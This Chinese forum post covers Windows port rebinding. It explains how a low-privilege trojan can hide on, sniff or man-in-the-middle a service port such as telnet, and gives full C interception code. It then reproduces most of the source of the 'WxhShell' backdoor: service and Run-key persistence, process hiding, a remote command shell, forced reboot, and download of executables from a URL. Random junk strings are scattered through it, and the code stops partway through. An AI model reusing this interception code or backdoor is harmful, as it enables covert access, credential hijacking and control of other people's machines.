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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wS#Uw_[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7_l Wr  
uyB2   
  saddr.sin_family = AF_INET; TaHcvjhR  
LDHu10l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v G\J8s  
5=|h~/.k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z+6PVQ  
A-=hvJ5T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Xnjl {`  
6LGl]jHf  
  这意味着什么?意味着可以进行如下的攻击: sRT H_]c  
n9={D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ``VE<:2+  
i.)n#@M2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !<=zFy[J.9  
n(eo_.W2|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Jk&!(YK&  
pY )x&uM!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z`E=V  
b5^>QzgD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XL.f `N.O  
<iU@ M31  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 np6G~0Y`  
0,DrVGa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^ IuhHP  
{fHor  
  #include !s1<)%Jt  
  #include Qr~!YPK\  
  #include r/ g{j  
  #include    jF}kV%E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l~]] RgU  
  int main() *(q?O_3,b  
  { SF-"3M  
  WORD wVersionRequested; cRrJZ9  
  DWORD ret; X5J)1rL  
  WSADATA wsaData; Tf]ou5|  
  BOOL val; ?i#x13  
  SOCKADDR_IN saddr; JXe~ 9/!  
  SOCKADDR_IN scaddr; ly*v|(S&  
  int err; H(76sE  
  SOCKET s; ]zJO)(d$>  
  SOCKET sc; aaY AS"/:  
  int caddsize; ij-'M{f  
  HANDLE mt; } (-9d  
  DWORD tid;   CV"}(1T  
  wVersionRequested = MAKEWORD( 2, 2 ); zE$HHY2ovi  
  err = WSAStartup( wVersionRequested, &wsaData ); !P EKMDh  
  if ( err != 0 ) { FauASu,A  
  printf("error!WSAStartup failed!\n"); s a o&  
  return -1; h>GbJ/^  
  } :AztHf?X  
  saddr.sin_family = AF_INET; ~<VxtcEBz  
   i]k)wr(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /}U)|6- B  
H6 x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T&pCLvkz  
  saddr.sin_port = htons(23); oydP}X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =&UE67eK,  
  { JnK<:]LcK  
  printf("error!socket failed!\n"); ^"?a)KC  
  return -1; Ah7"qv'L\  
  } )?#K0o[<  
  val = TRUE; >_yL@^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0/f|ZH ~!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,(x` zpp _  
  { }>BNdm"Er  
  printf("error!setsockopt failed!\n"); $#D#ezvxe  
  return -1; ~"`e9Im  
  } hjg1By(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .p e3L7g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q34u>VkdQI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F=e;[uK\  
qfJ2iE|o2.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dyn)KDS  
  { JX 5/PCO  
  ret=GetLastError(); 0$Rn|yqf%  
  printf("error!bind failed!\n"); ~\NQkaBkY  
  return -1; |Vz)!M  
  } ms}o[Z@n  
  listen(s,2); q`2dL)E  
  while(1) ">wvd*w0"(  
  { e7xv~C>g  
  caddsize = sizeof(scaddr); (!{*@?S  
  //接受连接请求 U~ a\v8l~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); SQK82 /  
  if(sc!=INVALID_SOCKET) @B >D>B  
  { O8\f]!O(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B(s^(__]  
  if(mt==NULL) 8TB|Y  
  { m"Mj3Z:  
  printf("Thread Creat Failed!\n"); r4iNX+h?V  
  break; V||b%Cb1g  
  } zx\-He  
  } de W1>yh^_  
  CloseHandle(mt); \[[xyd  
  } s;oe Qa}TB  
  closesocket(s); [#@lsI  
  WSACleanup(); qtAt=` s  
  return 0; --l UEo~  
  }   vJ&D>Vh4e  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^\B4]'+^j  
  { G9okl9;od  
  SOCKET ss = (SOCKET)lpParam; *Xk5H,:  
  SOCKET sc; |33t5}we  
  unsigned char buf[4096]; a~LA&>@  
  SOCKADDR_IN saddr; !^F_7u@Q  
  long num; Iv  
  DWORD val; <]G'& iv>  
  DWORD ret; em,1Yn?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [5IbR9_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fNAW4I I}  
  saddr.sin_family = AF_INET; $[`rY D/.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F%p DF\  
  saddr.sin_port = htons(23); ["&{^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Em{?Hqy  
  { 00i MU  
  printf("error!socket failed!\n"); Ddq*}Pf0K  
  return -1; J2x}@p  
  } 9b=0 4aWHm  
  val = 100; \`~YW<D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %+Nng<_U\T  
  { L$O\fhO?  
  ret = GetLastError(); |0}Xb|+  
  return -1; T\p>wiY2|F  
  } `!N}u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /hqn>t  
  { Z_bVCe{  
  ret = GetLastError(); VS ECD;u4c  
  return -1; uZL,%pF3A  
  } K!9K^h  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /77cjesZ9  
  { dO2?&f  
  printf("error!socket connect failed!\n"); <S7SH-{_\  
  closesocket(sc); j$_?g!I=gK  
  closesocket(ss); ^cPVnl  
  return -1; &S+*1<|`K  
  } z6J12tu  
  while(1) K!ogpd&X&  
  { $#n9C79Z@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IxUj(l1Fm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9Cd/SlNV2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BQWg L  
  num = recv(ss,buf,4096,0); n6Uh%rO7S|  
  if(num>0) c3l(,5DtH  
  send(sc,buf,num,0); T5}3Y3G,6  
  else if(num==0) E)m \KSwh  
  break; Dx /w&v  
  num = recv(sc,buf,4096,0);  \H>T[  
  if(num>0) u{=h%d/  
  send(ss,buf,num,0); +Eb-|dM  
  else if(num==0) *LBF+L^C%  
  break; nkPlfH  
  } \9p.I?=  
  closesocket(ss); [I%e Ro[  
  closesocket(sc); W^^0Rh_  
  return 0 ; #y#TEw,  
  } X1P1 $RdkR  
4.,|vtp  
^kcuRJ0*$  
========================================================== 8i;drvf  
{ST8'hY  
下边附上一个代码,,WXhSHELL ZMMx)}hS  
ec#`9w$  
==========================================================  gh[q*%#  
.4E24FB[f?  
#include "stdafx.h" :9 (kU  
8iD7K@  
#include <stdio.h> AaB1H7r-  
#include <string.h> B0yGr\KJ  
#include <windows.h> . mO8 ~Z  
#include <winsock2.h> }O crA/  
#include <winsvc.h> ?+=,t]`!m  
#include <urlmon.h> <!G /&T  
sdCG}..`  
#pragma comment (lib, "Ws2_32.lib") V}<<?_  
#pragma comment (lib, "urlmon.lib") fFbJE]jW  
P]}:E+E<.I  
#define MAX_USER   100 // 最大客户端连接数 11QZ- ^  
#define BUF_SOCK   200 // sock buffer j^b &Q  
#define KEY_BUFF   255 // 输入 buffer L T`T~|pz  
YY tVp_)  
#define REBOOT     0   // 重启 Y'P^]Q=}_#  
#define SHUTDOWN   1   // 关机 k~<Ozx^AyY  
e^\(bp+83  
#define DEF_PORT   5000 // 监听端口 ]6v7iuvI  
x v$fw>  
#define REG_LEN     16   // 注册表键长度 @(=?x:j  
#define SVC_LEN     80   // NT服务名长度  K%%Ow  
3`SH-"{j%  
// 从dll定义API %jj-\Gz!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )ZLj2H<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g$)0E<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _+)OL-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [?<v|k  
n3V$Xtxw  
// wxhshell配置信息 M-Vz$D/aed  
struct WSCFG { R$}Hv  
  int ws_port;         // 监听端口 D8w.r"ne  
  char ws_passstr[REG_LEN]; // 口令 ?\4kV*/Cqz  
  int ws_autoins;       // 安装标记, 1=yes 0=no $Nvox<d0  
  char ws_regname[REG_LEN]; // 注册表键名 )2W7>PY  
  char ws_svcname[REG_LEN]; // 服务名 -u~:Gd*l0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8%4v6No&*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :+9. v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k "7,-0gz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d/oD]aAEr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h8.(Q`tli  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0 nI*9  
`3[W~Cq  
}; py~[M'p(H  
{be|G^.c  
// default Wxhshell configuration A`vRUl,c=  
struct WSCFG wscfg={DEF_PORT, :SN?t  
    "xuhuanlingzhe", OBlQ   
    1, $M-"az]  
    "Wxhshell", rFC9y o  
    "Wxhshell", 23=wz%tF  
            "WxhShell Service", \[]BB5)8  
    "Wrsky Windows CmdShell Service", jsV1~1:83  
    "Please Input Your Password: ", K-*ZS8  
  1, #+" D?  
  "http://www.wrsky.com/wxhshell.exe", "\9 beK:l  
  "Wxhshell.exe" B "4A1!  
    }; Ls|)SiXrY  
kW%wt1",  
// 消息定义模块 yoq-H+<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P&c O2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vqUYr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <Cs9$J  
char *msg_ws_ext="\n\rExit."; _8`S&[E?  
char *msg_ws_end="\n\rQuit."; 33}p02#  
char *msg_ws_boot="\n\rReboot..."; 2}P{7flDY  
char *msg_ws_poff="\n\rShutdown..."; g(jn /Cx  
char *msg_ws_down="\n\rSave to "; 6eB~S)Ko  
kJ .7C  
char *msg_ws_err="\n\rErr!"; HCktgL:E=  
char *msg_ws_ok="\n\rOK!"; c0jTQMe4yl  
J~ @W":v  
char ExeFile[MAX_PATH]; ;6]ag< Q  
int nUser = 0; bS|h~B]rd  
HANDLE handles[MAX_USER]; 's"aPqF?  
int OsIsNt; 5D^2 +`$/  
d"ZsOq10D  
SERVICE_STATUS       serviceStatus; ,HE{&p2y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0Iyb}  
'|tmmoY6a:  
// 函数声明 Frx_aGLH1  
int Install(void); :%fnJg(  
int Uninstall(void); SZxnYVY  
int DownloadFile(char *sURL, SOCKET wsh);  HsG3s?*  
int Boot(int flag); 44^jE{,9  
void HideProc(void); ] :](xW%  
int GetOsVer(void); qw|B-lT{:  
int Wxhshell(SOCKET wsl); n%vmo f  
void TalkWithClient(void *cs); "0>AefFd#  
int CmdShell(SOCKET sock); |U~\;m@  
int StartFromService(void); &u2m6 r>W  
int StartWxhshell(LPSTR lpCmdLine); r5lPO*?Df  
Fkqw #s(T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =.`e4}u \X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HR'F  
6_w~#86=  
// 数据结构和表定义 UY\E uA9  
SERVICE_TABLE_ENTRY DispatchTable[] = +OI nf_O  
{ loyhNT=  
{wscfg.ws_svcname, NTServiceMain}, a|dn3R>vX  
{NULL, NULL} +9;6]4  
}; C2hB7?UGN  
>IKIe  
// 自我安装 6SAYe%e  
int Install(void) 1B{u4w7S4e  
{ 7;#o?6!7  
  char svExeFile[MAX_PATH]; PMj!T \B|  
  HKEY key; 7Sycy#D  
  strcpy(svExeFile,ExeFile); p{0rHu[  
"GxQ9=Z  
// 如果是win9x系统,修改注册表设为自启动 N40DL_-  
if(!OsIsNt) { 9~r8$,e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Z@qWB<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w/ID y Q  
  RegCloseKey(key); pe\]}&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >ISBK[=H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {|q(4(f"Iu  
  RegCloseKey(key); l n09_Lr  
  return 0; S; !7 /z  
    } 6I5LZ^/G9  
  } NdI~1kemr  
} ~MK%^5y?  
else { `4|:8@,3{  
^ -lWv  
// 如果是NT以上系统,安装为系统服务 E@@XWU21;N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U]E~7C  
if (schSCManager!=0) Uo:=-NNI  
{ CY@#_z  
  SC_HANDLE schService = CreateService Q\le3KB  
  ( #.@D}7y5  
  schSCManager, kbx4I?  
  wscfg.ws_svcname, al]-*=v7}  
  wscfg.ws_svcdisp, Cj6$W5I m  
  SERVICE_ALL_ACCESS, thh0~g0/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AHP;N6Y6  
  SERVICE_AUTO_START, n--s[Kdo8  
  SERVICE_ERROR_NORMAL, [:{HX U7y  
  svExeFile, @PKY>58)  
  NULL, |198A,^  
  NULL, ZlL]AD@  
  NULL, F^wm&:%{`  
  NULL, D'_ w *  
  NULL 7}fT7tsN  
  ); K3J,f2Cn$  
  if (schService!=0) ? C6t Yd  
  { *b(nX,e  
  CloseServiceHandle(schService); Hh qNp U  
  CloseServiceHandle(schSCManager); c38ENf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  }}d,xI  
  strcat(svExeFile,wscfg.ws_svcname); WSx0o}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { { =IAS}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E*UE?4FSw|  
  RegCloseKey(key); ]6?6 k4@  
  return 0; @t#Ju1Y  
    } jH2_Ekgc;_  
  } N MH'4R  
  CloseServiceHandle(schSCManager); {= T9_c  
} lMb&F[KJ7  
} SOJkeN  
mA\}zLw+r9  
return 1; C.=[K_  
} ggzcANCD<  
AKUmh  
// 自我卸载 B d?{ldg  
int Uninstall(void) 3TnrPO1E  
{ <L<d_  
  HKEY key; 5wm(gF_t  
6tBe,'*  
if(!OsIsNt) { y-a3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {bO O?pp  
  RegDeleteValue(key,wscfg.ws_regname); #J*hZ(Pq  
  RegCloseKey(key); p) m0\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uizg.<.  
  RegDeleteValue(key,wscfg.ws_regname); <3[0A;W=1  
  RegCloseKey(key); lemUUl(^  
  return 0; t$ 3/ZTx  
  } QWAtF@qTV  
}  s{T6qJ  
} SH1)@K-  
else { _G ^Cc}X  
/ #D R|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @@#h-k%k-  
if (schSCManager!=0) [|APMMYK1  
{ oYrg;]H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ze#r/j;sw  
  if (schService!=0) '"]U+aIg  
  { (Ujry =f  
  if(DeleteService(schService)!=0) { uwWKsZ4:ij  
  CloseServiceHandle(schService); \ H!Klp  
  CloseServiceHandle(schSCManager); / yTPb  
  return 0; KWi P`h8  
  } G Y+li {  
  CloseServiceHandle(schService); {1J4Q[N9m  
  } #b$qtp!,  
  CloseServiceHandle(schSCManager); 5/m}v'S%  
} $VUX?ii$7=  
} RfzYoBN  
e4Q2$ Q@b  
return 1; yuq2)  
} )PjU=@$lI  
nm]m!.$d  
// 从指定url下载文件 Isg\ fSK<j  
int DownloadFile(char *sURL, SOCKET wsh)  ]YKxJ''u  
{ L}pj+xB  
  HRESULT hr; "{M?,jP#  
char seps[]= "/"; @ 3,:G$,  
char *token; @5*$yi 'Cp  
char *file; dc,qQM  
char myURL[MAX_PATH]; b-HELS`nX  
char myFILE[MAX_PATH]; C,VvbB  
E5g|*M.+f  
strcpy(myURL,sURL); ^_\%?K_u  
  token=strtok(myURL,seps); U*7x81v?j  
  while(token!=NULL) |?4NlB6  
  { ?OVje9  
    file=token; Gm-V/[29R  
  token=strtok(NULL,seps); z^\-x9vL  
  } q:u,)6  
Tx|y!uHh  
GetCurrentDirectory(MAX_PATH,myFILE); }mOo=)C!  
strcat(myFILE, "\\"); gvoYyO#cm  
strcat(myFILE, file); 40HhMTZ0-  
  send(wsh,myFILE,strlen(myFILE),0); #;/ob-  
send(wsh,"...",3,0); ,#K{+1z:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yp EH(tq  
  if(hr==S_OK) :?SD#Vvrh.  
return 0; !TLJk]7uC  
else )F,z pGG  
return 1; %`}nP3  
b!`{fwV  
} Cm;M; ?  
& 6nLnMF8x  
// 系统电源模块 nfksi``Vq  
int Boot(int flag) t {H{xd  
{ a6\`r^@  
  HANDLE hToken; eD!mR3Ai@D  
  TOKEN_PRIVILEGES tkp; *1,4#8tB  
IO<Ds#(  
  if(OsIsNt) { 2 :wgt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4OFv#$[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1h?QEZ,6a  
    tkp.PrivilegeCount = 1; }Dx.;0*:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]Wtg.y6;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I %|;M%B  
if(flag==REBOOT) { in`|.#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bL/DjsZ@  
  return 0; zJo?,c  
} F(|XJN  
else { H:cAORLB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JJy.)-R  
  return 0; `\J,%J  
} P~s u]+  
  } D.gD4g_O/  
  else { !wTrWD!  
if(flag==REBOOT) { zZ;V9KM>v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8&yI1XM|  
  return 0; UT0}Ce>e  
} GI6]Ecc  
else { B[9y<FB+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K%1`LT5:~  
  return 0; 0X5b32  
} K #}t\  
} /h8100  
r+;k(HMY}[  
return 1; iP6?[pl8  
} NuW6~PV  
hR~&}sxN  
// win9x进程隐藏模块 d'iSvd.  
void HideProc(void) D7=Irz!O\7  
{ !6,rN_a@Y  
v[V7$.%5Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X.ecA`0  
  if ( hKernel != NULL ) 9 !$&1|,*  
  { ~BMUea(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8.Ufw. 5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AG><5 }  
    FreeLibrary(hKernel); 2D /bMq  
  } Xyjd7 "  
),Hr  
return; 3^5h:OaT  
} Z<,Hz+  
$PRUzFZ  
// 获取操作系统版本 o2[$X ONTl  
int GetOsVer(void) 8:[ l1d86  
{ |K9*><P?)2  
  OSVERSIONINFO winfo; uU%Z%O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~tn$AtK  
  GetVersionEx(&winfo); 2MmHO2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bOSqD[?  
  return 1; 6|IJwP^Q_  
  else EP^qj j@M  
  return 0; -[}Aka,f!  
} d0R;|p''Z  
bM.$D-?dF*  
// 客户端句柄模块 31UxYBY  
int Wxhshell(SOCKET wsl) uIBN !\j  
{ X ]W)D S  
  SOCKET wsh; >@Pw{Zh$  
  struct sockaddr_in client; K+"3He  
  DWORD myID; ;A4j_ 8\[  
:zY;eJKm  
  while(nUser<MAX_USER) f@[)*([  
{ %a FZbLK  
  int nSize=sizeof(client); Y`d@4*FN$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '#SZ|Rr6tX  
  if(wsh==INVALID_SOCKET) return 1; JI  cm$  
Jg)( F|>o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y=?{TX=6<[  
if(handles[nUser]==0) ]>1`Fa6_  
  closesocket(wsh); ug.|ag'R  
else | P`b"x  
  nUser++; }Xfg~ %6  
  } :W6'G@ p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HB`'S7Q  
L9XfR$7,z  
  return 0; N;,zPWa  
} R!yh0y}Z  
"a9j2+9  
// 关闭 socket 2vU-9p {  
void CloseIt(SOCKET wsh) Pm%5c\ef  
{ P (DEf(  
closesocket(wsh); ![$`Ivro`  
nUser--; [+QyKyhTO  
ExitThread(0); `wZ  
} y5F"JjQAa  
BMI`YGjY1  
// 客户端请求句柄 `e fiX^  
void TalkWithClient(void *cs) H\H7a.@nkF  
{ bRrS d:e  
`JY+3d,Ui  
  SOCKET wsh=(SOCKET)cs; bI|{TKKN&P  
  char pwd[SVC_LEN]; *JfGGI_E  
  char cmd[KEY_BUFF]; L>mM6$l  
char chr[1]; v9FR  
int i,j; d3 i(UN]  
:y`LF <  
  while (nUser < MAX_USER) { \F-n}Z  
4f~sRubK  
if(wscfg.ws_passstr) { DaJ,( DJY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <T;V9(66  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $${3I4  
  //ZeroMemory(pwd,KEY_BUFF); 8EMBqhl  
      i=0; cvo+{u$s  
  while(i<SVC_LEN) { S>r}3,]S  
U;TS7A3  
  // 设置超时 |vm-(HY!  
  fd_set FdRead; }h1LH4  
  struct timeval TimeOut; bq) 1'beW  
  FD_ZERO(&FdRead); S7WHOr9XMV  
  FD_SET(wsh,&FdRead); (n8?+GCa  
  TimeOut.tv_sec=8; )">#bu$  
  TimeOut.tv_usec=0; Q)BSngW+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bcjh3WP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YFPse.2$a  
pdER#7Tq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fx}v.A5  
  pwd=chr[0]; i7PS=]TK\  
  if(chr[0]==0xd || chr[0]==0xa) { 'jMs&  
  pwd=0; -:p VDxO  
  break; ] Ok &%-  
  } Y0kcxpK/  
  i++; }!k?.(hpE  
    } 9H;Os:"\|  
}yn%_KQ0  
  // 如果是非法用户,关闭 socket gK;dfrU.8Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qoH:_o8ClO  
} {5D%<Te  
aMGh$\Pg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .a :7|L#a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,jeHL@>w[  
& wtE"w  
while(1) { !vRN'/(Vyu  
gY[G>D=  
  ZeroMemory(cmd,KEY_BUFF); 2;*G!rE&*`  
jtpHDS  
      // 自动支持客户端 telnet标准   1%vE7a>{  
  j=0; _Dqi#0#40p  
  while(j<KEY_BUFF) { Lg(G&ljE@k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V`LE 'E  
  cmd[j]=chr[0]; A^6z.MdYZ  
  if(chr[0]==0xa || chr[0]==0xd) { wBg?-ji3<  
  cmd[j]=0; {d'B._#i  
  break; ?lgE9I]  
  } r>|S4O  
  j++; X_nbNql  
    } Oi& 9FS  
Sin)]zG~0  
  // 下载文件 `>g\gaQ  
  if(strstr(cmd,"http://")) { 3BGcDyYE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dc4XX5Z  
  if(DownloadFile(cmd,wsh)) aM1WC 'c&)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qj1%'wWG  
  else Lg,ObVt!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0PFC %x  
  } D4(73  
  else { T"3LO[j+  
bv(+$YR  
    switch(cmd[0]) {  0%,W5w  
  YfZ5Q}*1O+  
  // 帮助 ## vP(M$  
  case '?': { .pe.K3G &  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W{!5}Sh  
    break; J Q*~le*  
  } !Sy9v  
  // 安装 g\/|7:yB]  
  case 'i': { CdCY#$Z  
    if(Install()) +}( ]7du  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |x1Ttr,  
    else K"g{P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i !sVQ(:  
    break; >7X5/z  
    } 4IB`7QJq  
  // 卸载 9 ;vES^  
  case 'r': { ~2 XGw9`J2  
    if(Uninstall()) |5FEsts[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !,Gavt7f  
    else r/0 #D+A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7^Us  
    break; q[vO mes  
    } S/y(1.wh  
  // 显示 wxhshell 所在路径 RT'5i$q[  
  case 'p': { Zn. S65J*u  
    char svExeFile[MAX_PATH]; E=S_1  
    strcpy(svExeFile,"\n\r"); #')] ~Xa  
      strcat(svExeFile,ExeFile); U v>^ Z2  
        send(wsh,svExeFile,strlen(svExeFile),0); ! @Vj&>mH$  
    break; w^HI lA  
    } bOrE86v:  
  // 重启 PIFZ '6gn  
  case 'b': { QjJlVlp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); veh=^K%G |  
    if(Boot(REBOOT)) H3d|eO4+W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K)`R?CZ:s  
    else { =? q&/ cru  
    closesocket(wsh); I|Hcs.uW  
    ExitThread(0); d/*EuJYin<  
    } {[NQD3=+F  
    break; 1yU!rEH  
    } OEbZs-:  
  // 关机 t VX|e2Y  
